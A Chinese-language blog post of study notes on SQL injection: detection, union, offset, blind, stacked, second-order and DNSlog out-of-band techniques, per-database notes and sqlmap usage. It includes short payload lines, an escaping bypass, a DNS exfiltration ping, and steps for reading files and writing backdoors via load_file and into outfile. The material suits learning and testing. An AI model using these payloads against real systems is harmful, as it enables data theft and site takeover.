WEB通用漏洞-SQL注入
Web通用漏洞-SQL注入
定义
当代码与数据库进行数据交互时,攻击者可以篡改正在执行的SQL语句(详细的说:攻击者可以通过传递自定义值,来修改正在执行的SQL语句的参数),从而执行恶意的操作(获取敏感数据,如管理员账号密码)。
SQL注入对于黑盒测试来讲,意义不算太大,因为不太好检测。但是对于白盒测试,进行代码审计,挖掘SQL注入漏洞,却有着非常大的意义。
原因
攻击者传递参数进行数据库的相关操作,该参数只是简单的拼接在SQL语句的后面,并没有采用参数传递的形式(预编译),从而导致SQL注入漏洞。
可控变量,带入数据库执行,变量未存在过滤或过滤不严谨。
危害
可以直接操控数据库中的数据,可以获取网站的权限。
流程(重点)
- 判断注入点
- 判断数据库类型(是否存在高权限注入)
- 信息搜集(操作系统,数据库名,表名,版本,网站路径等)
- 选择注入的工具(人工注入/工具注入?)
- 选择注入的方向?(要权限?/ 要数据?)(权限 > 数据)
- 要权限:是否存在文件读取,命令执行?(优先考虑)
- 要数据:如果上述方法不成功,那么考虑数据
- 已知数据库名,操作系统,表名,版本等,那么按部就班的进行注入即可
- 如果信息搜集不够,那么只能靠猜测
- 选择注入的手段(联合注入,盲注等)
- 如果注入不成功,判断是否存在过滤?=> 解决办法?
- 注:扫描,利用工具等都不会自动判断数据类型,格式等,所以即使有漏洞也检测不出来,具体还是需要人工的去观察,根据观察的结果,运行工具的修改或加载插件再次探针才可以
如何判断存在注入?
老办法
and 1=1 页面正常
and 1=2 页面错误
可能存在注入点
新方法
看你的输入会不会对网页造成影响,如果有影响,那么可能存在注入点,否则不存在注入点。
有时,攻击者输入数据时,网页会弹出404,这种不算上述的范围之内。这种情况可能对攻击者输入的数据进行了过滤而导致的。
提交方式注入
GET注入
URL传递参数拼接到SQL语句的后面(GET注入)
POST注入
表单传递,参数放在请求体中(POST注入)
Cookie注入
Cookie常用于用户验证身份。后端接收Cookie里面的值。我们需要抓包,将传递的参数放在Cookie里,实现注入。
HTTP头注入
后端接收HTTP数据包(包头)里的字段(UA、XFF等)。我们需要抓包,将传递的参数放到包头的字段中,实现注入。
从功能点看注入点(功能分析)
黑盒测试,如何判断是什么提交方式注入?只能从功能点判断注入点。

从代码看注入点(功能分析+关键代码追踪)
白盒测试,直接看源代码即可。(不光要分析功能,还要分析功能背后的源代码)
数据类型注入
数字型(0-9)
字符型(A-z,中文,标点符号等)(考虑单引号的闭合)
在SQL语句里面,数字不需要单引号,字符需要单引号 双引号去概括的。
因此,在进行参数的SQL注入时,需要考虑到该参数的类型,考虑到引号(符号)的闭合,才可以正确的执行SQL,完成SQL注入。
例如:select * from xxx where id = '1'
如果id字段存在注入,那么直接注入 and 1 = 1的话,就会导致
select * from xxx where id = '1 and 1 = 1'
那么,这么写肯定是错误的。因此,要考虑引号的闭合。
搜索型(考虑单引号和百分号的闭合)(%')
在进行页面搜索时,SQL语句一般会进行字符串的匹配,此时就会在参数中进行模糊查询,模糊查询一般都会引入通配符。
在这种情况下,我们在进行注入时,一般都要考虑到通配符的闭合。
换句话说,是在字符型的基础上添加了通配符。
加密型/编码型(base64,md5等)
数据以编码值/密文传递。
数据进行编码/加密接收处理:
发送编码值/密文,对方常会进行解码/解密后带入数据再进行SQL执行。
在注入的时候,我们也要尝试对注入的Payload进行编码/加密后提交。
格式型(JSON)
数据表现形式:
正常:username=admin&password=123
json:
{"username":"admin","password":"123"}
这两种表现形式等价。
在进行SQL注入时,对于注入点对应的字段是否需要包含引号,需要根据实际字段的类型(SQL的类型)决定。
在进行SQL注入时,json中的双引号,并不在包含范围之内。(不需要考虑双引号)(因为只会取json中的值,不会取双引号)
因此,我们只需要注意一下字段的类型,然后按照之前的方式注入即可。
宽字节注入
有些网站在接收数据的时候,会将该数据进行转义(\)处理。如果你直接对这样的网站进行注入,那么就会出现你的payload被莫名其妙的转义了,导致无法进行正常的注入。
解决方案:在被转义的地方添加一个汉字(2个字节),转义字符是一个字节。这样的话,在解析的过程中,转义字符和汉字的组合,最终的结果就不是转义字符了,从而失去了转义的效果。(这里需要注意:编码方式一定是gdk)
一篇文章:https://www.cnblogs.com/02SWD/p/15836051.html
php中的魔术引号:
https://blog.csdn.net/weixin_50464560/article/details/119090119
一些其他tips
- 在考虑符号(引号,通配符)的闭合时,通常会用到注释符:
- --+ 其中--代表SQL中的注释,+代表空格。二者组合在一起,才可以起到注释的作用。
- /# 也代表注释符(但是提交时需要url编码)
- https://www.bilibili.com/read/cv18720239/
注入类型(通用手法)
手工注入/联合注入
- 判断注入点
- 猜测字段数(字段个数)(通过order by x 猜测错误和正常的临界值)(具体:order by x页面正常,x+1页面错误。因此,字段个数就是x)
- 联合注入(sql中的union)(猜测完字段个数之后,进行联合查询)
例如:已知字段个数为4,那么进行猜测:
... union select 1,2,3,4 from table;
如果在页面中回显了数字1和3,那么就代表该页面中使用了字段1和字段3的数据。(跟哪个表无关)
如果不能正常回显,那么请考虑SQL盲注。
假设你知道了表名和列名,那么就可以将你需要的表名和列名替换上述的table和对应回显的数字,此时页面就会回显你的内容。
或者通过查询网站的源代码,来查看回显的内容。
暴力猜解/字典注入(了解)
如果你的表名或列名均未知,那么你只能借助字典去猜解表名和列名,那么就会出现表名或列名猜解不到,可以自定义社工字典或采用偏移注入。
偏移注入(了解)
适合于已知表名而未知列名的情况。
原理:假设一个表有8个字段,admin表有3个字段。
联合查询payload:union select 1,2,3,4,5,6,7,8 from admin
在我们不知道admin有多少字段的情况下可以尝试payload:union select 1,2,3,4,5,6,7,admin.* from admin,此时页面出错
直到payload:union select 1,2,3,4,5,admin.* from admin时页面返回正常,说明admin表有三个字段
然后通过移动admin.*的位置,就可以回显不同的数据
表名.*==>这是什么意思呢,“.”在我们学过的编程语言中一般都是一个连接符,而*号则是表示通配符,表名.*就是代表该表下的所有字段,其实这里个人感觉表名.*和单独一个*号表达的意思应该一致
扩展:在某些情况下,通过偏移注入,我们获取不到想要的数据怎么办,
假设表中存在id字段
首先给表重命名 admin as a admin as b
获取id 一样的字段 admin as a inner join admin as b on a.id=b.id 这样做我们可以打乱随机顺序,不过这样之后作为一个整体查询,字段数要乘以2
payload:union select 1,2,(admin as a inner join admin as b on a.id=b.id).* from admin
查完之后,我们可以查看页面的回显,或者网页的源代码。
上述的过程叫做一级偏移,如果一级偏移还不行,那么可以尝试二级偏移等。
原文链接:https://blog.csdn.net/qq_35569814/article/details/100301697
SQL盲注
盲注就是在注入过程中,获取的数据不能回显至前端页面(指的是union select这种注入过程失效)。此时,我们需要利用一些方法判断或者尝试,这个过程叫做盲注。
后端代码执行SQL语句,获取的数据=> 输出显示(回显) 不输出显示(不回显,此时需要盲注)
我们可以将盲注手法分为三种:
- 基于布尔的SQL盲注-逻辑判断(看页面是否正常显示)(有条件)
- 常用的SQL聚合函数/关键字:regexp,like,ascii,left,ord,mid
- 例子:/blog/news.php?id=1 and length(database())=11
- 假设,在上述例子中,当前网页的作用就是显示第一条新闻
- 我们可以通过length(database())=11,来判断当前所使用的数据库长度是否为11,如果11,那么就是true,正常显示第一条新闻。如果不是11,那么不正常显示新闻。所以,我们可以通过这种方式,来判断数据库的长度。
- 基于时间的SQL盲注-延时判断(看是否发生了延时)(无条件)
- if,sleep
- 例子:/blog/news.php?id=1 and if(条件,sleep(5),0)
- 假设,在上述例子中,当前网页的作用就是显示第一条新闻
- 如果条件是正确的,因此会执行sleep(5),发生延时。
- 如果条件是错误的,那么就会返回0,不会发生延时。
- 在实际中,我们可以在条件中添加一些SQL语句(对执行时间敏感),通过查看是否发生了延时,来判断你的SQL语句是否正确。
- 关于是否发生了延时,我们可以进行如下判断:
- 通过抓包获取打开页面的时间。
- 进行延时盲注,查看打开页面的时间。
- 将二者相减,如果最终结果值跟0相差甚远,那么此时发生了延时,否则没有发生延时。
- 布尔盲注和延时盲注的区别(大模型)
布尔盲注和延时盲注是两种常见的盲注攻击方式,它们的核心思想都是通过观察应用程序的反馈来推测输入条件的真假。然而,这两种方法在操作和原理上存在一些区别。
布尔盲注:这种攻击方式利用应用程序在布尔运算时遵循的真/假逻辑。攻击者通过构造特定的查询语句,然后观察应用程序的反馈。如果页面返回了预期的结果(例如,真/假对应的页面内容不同),攻击者就可以根据这个反馈来推断出输入条件的真假。布尔盲注的一个显著特点是,当输入条件为真或假时,页面会有不同的显示。
延时盲注:这种攻击方式则更侧重于利用应用程序的响应时间。攻击者在输入参数中设置一个if语句,当条件为真时执行sleep语句,条件为假时无执行语句。然后,根据浏览器的响应时间来推测sleep语句是否被执行,进而推测if条件是否为真。延时盲注的一个显著特点是,它只能通过响应时间来推测显示结果的真假,而不是像布尔盲注那样通过页面内容的不同来推测。
总的来说,布尔盲注和延时盲注的主要区别在于它们利用的应用程序反馈方式不同:布尔盲注利用的是页面内容的不同,而延时盲注利用的是响应时间的差异。此外,延时盲注的一个显著缺点是,有时候网页响应慢并不是因为sleep语句起了效果,也可能是网络等外部因素的影响,这可能导致误判。同时,延时盲注的时间成本通常较高。
- 基于报错的SQL盲注-报错回显(要求后端代码需要进行数据库的容错处理)(有条件)
- floor,updatexml,extractvalue
- 一篇文章:https://www.jianshu.com/p/bc35f8dd4f7c
- 报错盲注构造payload较难,实际遇到时,直接拿工具搞~。
查询方式注入(与盲注结合)
查询方式增删改查四种特性决定,部分是不需要进行数据取出和显示,所以此类注入基本上需要采用盲注才能正常得到结果。
查询方式增删改查四种特性决定应用功能(会员注册,删除新闻,修改文章等)
我们不能仅限于使用select注入,对于其他功能,我们也要考虑注入。
- 查询
- 插入
- 更新
- 删除(危险!)
复杂注入
-
堆叠注入(数据库支持多条语句执行)(了解)
- 例如:select * from news where id = 1; create table abc like news;
- 上述的注入语句中,id为注入点,那么跟以往注入方式不同的是,以往的方式都是将注入的内容拼接在sql语句的后面。(本质上还是一条SQL语句)
- 但是,堆叠注入使得注入的内容是一条全新的SQL语句,也是拼接在SQL语句的后面。(但是,是多条SQL语句)
- 根据数据库类型决定是否支持多条语句执行。
- 支持堆叠数据库类型:
- MYSQL
- MSSQL
- PostgreSQL等
- 堆叠注入是有条件的:如果在进行SQL注入的过程中,你使用了堆叠注入,发现失败了,那么堆叠注入不生效。如果成功了,那么堆叠注入生效。堆叠注入是跟调用sql语句执行的后端代码有关,跟本身sql语句无关。(换句话说:在数据库管理系统下,执行成功的堆叠语句,在后端代码执行中,未必成功!)
-
二次注入(重点)(大部分工具扫描不到)
- 相关文章:https://www.cnblogs.com/jackie-lee/p/16124022.html

- 我们用一个实际的背景来理解二次注入:
- 找回密码应用功能:
- 如果没有登录用户,我点找回密码,是不是先要输入你要找回的目标?(你要找回谁的密码?)
- 如果已经登录了用户,一般网站就直接进入验证过程(知道你是谁了),接受获取你的用户名,修改密码(查询方式:update)
- SQL语句:UPDATE user SET password = '123' WHERE username = '夏目'
- 那么,我在注册用户名的时候,写的是一个SQL注入的语句呢?
- 此时,找回密码时,SQL注入的语句为:
- SQL语句:UPDATE user SET password = '123' WHERE username = 'SQL注入的语句'
- 那么,这个SQL语句就会造成攻击。
- 换句话说,二次注入:先将攻击代码放入到数据库中,后续触发对应功能时,再将组合后的SQL语句执行,此时就触发了这个漏洞。
- 注:二次注入产生的条件:1.要保证攻击代码可以插入到数据库中(Insert,看网页中哪些功能用到了Insert) 2.可以将刚刚插入的攻击代码在页面中进行利用(看网页中的哪些功能可以保证:利用你刚刚插入的攻击代码)
- 注:无论从黑盒还是白盒的角度来看,只要根据上述的两个条件去寻找注入点就没问题。
-
DNSlog注入(带外)(一定要支持load_file函数)(了解即可)
- 核心思想:将查询结果回显到DNS解析日志中。
- 意义:如果某些内容无法进行显示,那么你可以将请求发送DNS服务器,在该服务器的解析记录中将内容进行回显。
- 原因:有些防火墙限制了某些协议的数据,那么你就可以将数据走DNS协议,DNS协议一般防火墙不会限制,从而可以在解析记录中看到数据。
- 文章:https://blog.csdn.net/weixin_54902210/article/details/124445385
- DNSlog平台
- 应用场景:
- 解决数据不回显
- 反向连接
- SQL注入
- 命令执行
- SSRF
- 命令执行
- 假设你在平台上,得到了一个域名aaa.bbb.cn。接下来,你在客户端中对该域名进行请求。
- 如:ping %USERNAME%.aaa.bbb.cn
- 此时,在平台上就会显示解析记录。这个记录回显了%USERNAME%这个变量的数据。(解决了数据不回显的问题)
各数据库之间的结构
ACCESS结构-单独存在
- 数据库名
- 表名
- 列名
- 数据
- 列名
- 表名
MYSQL结构-统一管理
最高数据库用户-root用户
- 数据库A=网站A=数据库用户A
- 表名
- 列名
- 数据
- 列名
- 表名
- 数据库B=网站B=数据库用户B
- 数据库C=网站C=数据库用户C
如何查看当前数据库用户?
- 黑盒测试:user()聚合函数。
- 白盒测试:代码看连接用户即可。
ACCESS注入(了解)
暴力猜解/字典注入
见上文
偏移注入
见上文
一些注意点
- ACCESS由于没有数据库用户这个概念,因此不存在高权限注入
- 除了ACCESS之外的市面上所有流行的数据库,均存在高权限注入。
MYSQL注入(重点)
信息搜集
为后续思路做铺垫
- 操作系统
- 数据库名
- 表名
- 数据库用户
- 数据库版本
- 其它(网站路径等)
数据注入/常规查询(非ROOT用户)
同数据库
-
低版本(暴力查询或结合读取查询)(5.0以下)
-
高版本(information_schema有据查询)(5.0以上)
- information_schema记录了所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下的表名或列名信息。
- information_schema.tables: 记录所有表名信息的表
- information_schema.columns:记录所有列名信息的表
- information_schema.schema:记录所有数据库信息的表
- 获取相关数据
- 数据库版本:看是否符合information_schema查询-version()
- 数据库用户:看是否符合ROOT型注入攻击-user()
- 当前操作系统:看是否符合大小写或文件路径选择-@@version_compile_os
- 数据库名字:为后期猜解指定数据库下的表、列做准备-database()
- 如果上述内容没有显示完全,可以使用group_concat()函数
- group_concat():https://blog.csdn.net/weixin_46484674/article/details/126662192
- information_schema记录了所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下的表名或列名信息。
高权限注入(ROOT用户)
- 常规查询
- 跨库查询(利用注入进行数据库查询)
- 定义:当前网站跨库查询其他网站对应的数据库的数据。
- 文件读写(利用注入进行文件读取或写入)/命令执行
- 如果可以进行文件读写/命令执行的话,可以直接写入后门,一步到位。
- 通过聚合函数load_file()来读取文件
- load_file()常用读取文件:
- 写入文件:select 写入数据 into outfile 文件
- 读取/写入文件可能会被MYSQL中的--secure-file-priv所限制。这个参数在数据库的主配置文件中存在。
- --secure-file-priv突破:
- 慢查询日志:https://blog.csdn.net/huangjhai/article/details/118714169
- 常见突破方式:https://blog.csdn.net/weixin_40412037/article/details/104425605
- 要想突破需要支持SQL执行环境,没有就需要借助类似于phpmyadmin或能够直接连上对方数据库进行绕过。
- 在网站目录中读取/写入文件(后门),需要知道该网站目录的路径,因此我们可以通过如下方式:
- 如果是php搭建的网站,那么可以通过phpinfo()来知道路径
- 通过报错信息来泄露路径
- 通过读取中间件的主配置文件来知道路径
- 字典爆破(爆破路径)
MSSQL(SQL SERVER)(了解)

- 关于MSSQL获取表名,列名,数据库名这里就不再赘述,具体可从网上查询。
- MSSQL测显位跟PostgreSQL差不多,具体可以参考PostgreSQL
- 超级用户:sa
MSSQL的注入思路可以参考MYSQL的,这里不再赘述。
PostgreSQL(了解)
常规查询


- 判断是否为dba用户?
- union select null,string_agg(usename,','),null,null FROM pg_user WHERE usesuper IS TRUE
- 关于PostgreSQL获取表名,列名,数据库名这里就不再赘述,具体可从网上查询。
- 超级用户:postgres
- 一篇文章:https://www.freebuf.com/sectool/249371.html
PostgreSQL的注入思路可以参考MYSQL的,这里不再赘述。
Oracle(了解)

一篇文章:https://www.cnblogs.com/peterpan0707007/p/8242119.html
思路与Mysql类似,这里不再赘述。
MongoDB(了解)
注入需要看源码

一篇文章(Mongodb查询文档):https://www.runoob.com/mongodb/mongodb-query.html
DB2(了解)
直接拿SQLMap跑即可。
SQLite(了解)
直接拿SQLMap跑即可。
SQLMap(重点)
若干文章
- https://www.cnblogs.com/bmjoker/p/9326258.html
- https://www.cnblogs.com/php09/p/10404560.html
- 官方文档:https://sqlmap.highlight.ink/
- 官方网站:https://sqlmap.org/
注:SQLMap不支持非关系型数据库的注入(如MongoDB)
注:有时SQLMap可能会出现误报的情况,这时清除SQLMap的缓存即可(具体看文档即可)
基本用法/注入流程

对数据包进行注入
解决在特定访问下的SQL注入。
- POST注入
- 有些网站需要用户登录后,才能注入。此时,需要保存好带有用户登录凭证的数据包,从该数据包下手进行注入
- 有些网站只能支持手机访问,此时,需要保存好带有指定UA头的数据包,从该数据包下手进行注入。
- -r参数后跟文件(该文件存储数据包)代表对数据包进行注入。
- 我们需要在数据包的url中添加*号,代表从该位置尝试注入。
Tamper脚本
为了弥补SQLMap的缺陷,增加SQLMap的功能,SQLMap内置了许多的脚本。
- SQLMap的脚本路径:SQLMap安装目录下的tamper目录。
- SQLMap的启用脚本参数:-tamper
对于特殊的情形,如果SQLMap处理不当或处理不了,可以采用Tamper脚本(如:base64编码数据类型注入)。
SQLMAP-请求注入
- COOKIE --cookie(cookie注入)
- POST --data(POST注入)
- HTTP头 在所需的字段上加*号(HTTP头注入)
SQLMAP问题
有些问题,SQLMap也无法进行解决。
- 验证码问题
- 登录的凭证/身份问题
如果SQLMap无法解决,直接手工处理。
致谢
https://www.bilibili.com/video/BV1pQ4y1s7kH/?spm_id_from=333.1007.top_right_bar_window_custom_collection.content.click
免责声明
本博客中的内容仅供学习之用,不用于商业用途,也不可以用于任何非法用途,否则后果自负,本人不承担任何责任!

浙公网安备 33010602011771号